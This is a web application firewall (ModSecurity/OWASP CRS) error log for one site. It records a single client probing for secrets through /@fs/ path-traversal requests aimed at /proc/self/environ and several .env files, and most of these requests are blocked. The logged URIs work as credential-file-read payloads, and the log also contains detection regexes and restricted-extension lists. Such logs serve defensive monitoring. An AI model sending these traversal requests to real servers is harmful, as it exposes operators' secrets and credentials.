[Mon Oct 26 14:54:27.397074 2026] [security2:error] [pid 3077536:tid 3077536] [client 34.39.215.232:32890] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at-h46rAMmuTbk6594wUjQAAAAA"]
[Mon Oct 26 14:54:27.514927 2026] [security2:error] [pid 3074873:tid 3074873] [client 34.39.215.232:41018] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "beta.sherwinpinturas.com"] [uri "/bullet_bots.log"] [unique_id "at-h4yE-ZP4qhScpL9OPCwAAAAU"]
[Mon Oct 26 14:54:27.515420 2026] [security2:error] [pid 3074873:tid 3074873] [client 34.39.215.232:41018] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/bullet_bots.log"] [unique_id "at-h4yE-ZP4qhScpL9OPCwAAAAU"]
[Mon Oct 26 14:54:27.515730 2026] [security2:error] [pid 3074873:tid 3074873] [client 34.39.215.232:41018] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/bullet_bots.log"] [unique_id "at-h4yE-ZP4qhScpL9OPCwAAAAU"]
[Mon Oct 26 14:54:27.580810 2026] [security2:error] [pid 3065806:tid 3065806] [client 34.39.215.232:32836] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/proc/self/cwd/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at-h4w7tQS1M73WECjKQmgAAAAY"]
[Mon Oct 26 14:54:27.581196 2026] [security2:error] [pid 3065806:tid 3065806] [client 34.39.215.232:32836] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at-h4w7tQS1M73WECjKQmgAAAAY"]
[Mon Oct 26 14:54:27.581413 2026] [security2:error] [pid 3065806:tid 3065806] [client 34.39.215.232:32836] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at-h4w7tQS1M73WECjKQmgAAAAY"]
[Mon Oct 26 14:54:28.117062 2026] [security2:error] [pid 3083957:tid 3083957] [client 34.39.215.232:32914] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at-h5GjM5XERzcmv0SW_oAAAAAs"]
[Mon Oct 26 14:54:28.117581 2026] [security2:error] [pid 3083957:tid 3083957] [client 34.39.215.232:32914] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at-h5GjM5XERzcmv0SW_oAAAAAs"]
[Mon Oct 26 14:54:28.117861 2026] [security2:error] [pid 3083957:tid 3083957] [client 34.39.215.232:32914] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at-h5GjM5XERzcmv0SW_oAAAAAs"]
[Mon Oct 26 14:54:28.193133 2026] [security2:error] [pid 3079560:tid 3079560] [client 34.39.215.232:32814] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "beta.sherwinpinturas.com"] [uri "/dashboard/admin"] [unique_id "at-h5B7tVIm23knyHD7xfAAAAAI"]
[Mon Oct 26 14:54:28.193173 2026] [security2:error] [pid 3079560:tid 3079560] [client 34.39.215.232:32814] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "beta.sherwinpinturas.com"] [uri "/dashboard/admin"] [unique_id "at-h5B7tVIm23knyHD7xfAAAAAI"]
[Mon Oct 26 14:54:29.126649 2026] [security2:error] [pid 3065808:tid 3065808] [client 34.39.215.232:32862] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at-h5dBD9nokEg9_vmbOAAAAAAk"]
[Mon Oct 26 14:54:29.127285 2026] [security2:error] [pid 3065808:tid 3065808] [client 34.39.215.232:32862] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at-h5dBD9nokEg9_vmbOAAAAAAk"]
[Mon Oct 26 14:54:29.127546 2026] [security2:error] [pid 3065808:tid 3065808] [client 34.39.215.232:32862] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at-h5dBD9nokEg9_vmbOAAAAAAk"]
[Mon Oct 26 14:54:29.409331 2026] [security2:error] [pid 3083997:tid 3083997] [client 34.39.215.232:32922] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "beta.sherwinpinturas.com"] [uri "/settings/integrations"] [unique_id "at-h5ZAhngDWVrMwqEaUlwAAABA"]
[Mon Oct 26 14:54:29.409374 2026] [security2:error] [pid 3083997:tid 3083997] [client 34.39.215.232:32922] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "beta.sherwinpinturas.com"] [uri "/settings/integrations"] [unique_id "at-h5ZAhngDWVrMwqEaUlwAAABA"]
[Mon Oct 26 14:54:29.537001 2026] [security2:error] [pid 3083994:tid 3083994] [client 34.39.215.232:32930] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at-h5XtG0gh1_iD5Sux2GQAAAAw"]
[Mon Oct 26 14:54:29.561274 2026] [security2:error] [pid 3083994:tid 3083994] [client 34.39.215.232:32930] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at-h5XtG0gh1_iD5Sux2GQAAAAw"]
[Mon Oct 26 14:54:29.561594 2026] [security2:error] [pid 3083994:tid 3083994] [client 34.39.215.232:32930] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at-h5XtG0gh1_iD5Sux2GQAAAAw"]
[Mon Oct 26 14:54:30.117860 2026] [security2:error] [pid 3084001:tid 3084001] [client 34.39.215.232:32972] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at-h5m4V_9N3LTS-J11gHQAAABQ"]
[Mon Oct 26 14:54:30.118413 2026] [security2:error] [pid 3084001:tid 3084001] [client 34.39.215.232:32972] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at-h5m4V_9N3LTS-J11gHQAAABQ"]
[Mon Oct 26 14:54:30.118628 2026] [security2:error] [pid 3084001:tid 3084001] [client 34.39.215.232:32972] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at-h5m4V_9N3LTS-J11gHQAAABQ"]
[Mon Oct 26 14:54:30.119704 2026] [security2:error] [pid 3083999:tid 3083999] [client 34.39.215.232:32904] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-h5iWrjl8F3pC1OEgOSgAAABI"]
[Mon Oct 26 14:54:30.120125 2026] [security2:error] [pid 3083999:tid 3083999] [client 34.39.215.232:32904] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-h5iWrjl8F3pC1OEgOSgAAABI"]
[Mon Oct 26 14:54:30.120332 2026] [security2:error] [pid 3083999:tid 3083999] [client 34.39.215.232:32904] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-h5iWrjl8F3pC1OEgOSgAAABI"]
[Mon Oct 26 14:54:30.122015 2026] [security2:error] [pid 3084006:tid 3084006] [client 34.39.215.232:32982] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at-h5jXpZqOXs__-fCbVIQAAABo"]
[Mon Oct 26 14:54:30.122543 2026] [security2:error] [pid 3084006:tid 3084006] [client 34.39.215.232:32982] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at-h5jXpZqOXs__-fCbVIQAAABo"]
[Mon Oct 26 14:54:30.122862 2026] [security2:error] [pid 3084006:tid 3084006] [client 34.39.215.232:32982] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at-h5jXpZqOXs__-fCbVIQAAABo"]
[Mon Oct 26 14:54:30.138676 2026] [security2:error] [pid 3083997:tid 3083997] [client 34.39.215.232:32922] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?import&raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-h5pAhngDWVrMwqEaUmAAAABA"]
[Mon Oct 26 14:54:30.138776 2026] [security2:error] [pid 3083997:tid 3083997] [client 34.39.215.232:32922] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-h5pAhngDWVrMwqEaUmAAAABA"]
[Mon Oct 26 14:54:30.139254 2026] [security2:error] [pid 3083997:tid 3083997] [client 34.39.215.232:32922] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-h5pAhngDWVrMwqEaUmAAAABA"]
[Mon Oct 26 14:54:30.139499 2026] [security2:error] [pid 3083997:tid 3083997] [client 34.39.215.232:32922] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-h5pAhngDWVrMwqEaUmAAAABA"]
[Mon Oct 26 14:54:30.140897 2026] [security2:error] [pid 3084005:tid 3084005] [client 34.39.215.232:33032] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at-h5iIAzVBNWw69JqBmiwAAABk"]
[Mon Oct 26 14:54:30.141418 2026] [security2:error] [pid 3084005:tid 3084005] [client 34.39.215.232:33032] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at-h5iIAzVBNWw69JqBmiwAAABk"]
[Mon Oct 26 14:54:30.141736 2026] [security2:error] [pid 3084005:tid 3084005] [client 34.39.215.232:33032] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at-h5iIAzVBNWw69JqBmiwAAABk"]
[Mon Oct 26 14:54:30.145240 2026] [security2:error] [pid 3084004:tid 3084004] [client 34.39.215.232:33020] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at-h5vo8w19imigfk0t9qQAAABg"]
[Mon Oct 26 14:54:30.145754 2026] [security2:error] [pid 3084004:tid 3084004] [client 34.39.215.232:33020] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at-h5vo8w19imigfk0t9qQAAABg"]
[Mon Oct 26 14:54:30.146060 2026] [security2:error] [pid 3084004:tid 3084004] [client 34.39.215.232:33020] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at-h5vo8w19imigfk0t9qQAAABg"]
